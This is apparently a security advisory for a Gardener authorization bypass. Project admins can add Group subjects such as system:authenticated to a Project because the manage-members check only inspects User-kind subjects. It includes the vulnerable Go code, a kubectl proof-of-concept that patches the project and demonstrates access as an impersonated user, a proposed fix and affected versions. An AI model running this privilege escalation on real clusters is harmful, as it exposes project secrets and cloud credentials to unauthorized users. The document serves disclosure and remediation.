Gardener: Authorization Bypass via Group Subject Injection
🔗 CVE IDs covered (1)
📋 Description
Overview
The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
Technical Details
The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
The isHumanUser() function at admission.go only matches Kind == "User":
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
Steps to reproduce
Proof of concept:
- Verify current project membership and confirm the owner has
manage-memberspermission:
# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
- Add a second admin user (
test-admin-user) to the project WITHOUT theuamrole, then confirm they lackmanage-members:
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
- Verify
test-admin-usercannot add a human User member (the check works for Users):
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "[email protected]",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
- Bypass the check by adding a Group subject instead:
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
- Verify the Group was added to project members:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
- Demonstrate the impact - any authenticated user now has project access:
# As a random user
$ kubectl [email protected] get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
Note:
[email protected]does not exist as a real user. However, the Kubernetes--asglobal flag performs user impersonation which is treated as a successfully authenticated request, automatically adding thesystem:authenticatedgroup. Sincesystem:authenticatedwas added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
Security Impact
- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including
system:authenticated(all authenticated users) orsystem:unauthenticated(all unauthenticated users).
Patching & Remediation
- Fix
isHumanUser()to include Groups: The function should match the documented behavior. Change:
To:func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
🎯 Affected products3
- go/github.com/gardener/gardener:< 1.142.6
- go/gardener/gardener:>= 1.143.0, < 1.143.3
- go/gardener/gardener:>= 1.144.0, < 1.144.2
🔗 References (5)
- https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888
- https://github.com/gardener/gardener/pull/15080
- https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545
- https://github.com/gardener/gardener/releases/tag/v1.144.2
- https://github.com/advisories/GHSA-gfjv-gqf2-c888